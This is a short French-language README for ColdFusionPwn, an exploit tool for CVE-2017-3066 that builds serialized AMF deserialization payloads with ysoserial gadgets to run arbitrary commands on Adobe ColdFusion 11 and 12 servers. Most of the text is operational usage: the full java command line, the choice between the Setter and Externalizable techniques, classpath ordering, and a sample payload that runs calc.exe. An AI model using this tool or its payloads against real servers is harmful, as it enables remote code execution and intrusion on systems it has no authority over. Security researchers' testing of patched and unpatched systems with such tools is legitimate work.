
Outil d'exploitation pour CVE-2017-3066 ciblant Adobe Coldfusion 11/12
Outil d'exploitation pour CVE-2017-3066 ciblant Adobe Coldfusion 11/12.
L'outil permet de générer des charges utiles AMF sérialisées pour exploiter la validation d'entrée manquante des classes autorisées. Pour plus de détails, voir notre article de blog.
Obtenez la dernière version de ysoserial. Obtenez ColdFusionPwn depuis les versions.
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner [-s|-e] [type de charge utile] '[commande]' [fichier de sortie]
- [-s|-e] Technique Setter (CF11) ou Externalizable Exploit (CF11/12)
- [type de charge utile] Charge utile de gadget ysoserial
- [commande] commande à exécuter
- [fichier de sortie] fichier de sortie pour la charge utile générée
Il est nécessaire d'avoir ColdFusionPwn-0.0.1-SNAPSHOT-all.jar comme première entrée dans le classpath, car la bibliothèque ApacheCommons BeanUtils fournie avec ysoserial est plus récente (et a un uid de sérialversion différent).
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 calc.exe /tmp/out.amf